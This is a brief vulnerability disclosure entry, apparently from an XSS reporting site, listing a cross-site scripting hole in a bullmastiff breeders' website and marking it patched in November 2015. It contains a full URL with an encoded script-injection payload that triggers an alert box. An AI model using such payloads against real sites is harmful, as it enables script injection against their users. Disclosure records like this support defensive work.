british-bullmastiffs.co.uk XSS vulnerability

Vulnerable URL: http://www.british-bullmastiffs.co.uk/cgi-bin/geneal.pl?gens=5=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C%2Fscript%3E=bullmastiff.dbw=search=Search+Now Details: Description| Value ---|--- Patched:| Yes, at 26.11.2015 Latest check for patch:| 26.11.2015 19:05 GMT...